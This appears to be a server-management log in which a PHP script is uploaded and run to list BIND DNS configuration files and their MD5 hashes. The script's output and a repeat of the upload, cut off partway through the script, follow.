MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 18:04:48: Establishing a connection
2026-04-22 18:04:48: 

PUT: /tmp/pkp919376

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 18:04:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp919376; rm /tmp/pkp919376'

2026-04-22 18:04:48: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 18:13:24: Establishing a connection
2026-04-22 18:13:24: 

PUT: /tmp/pkp325690

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
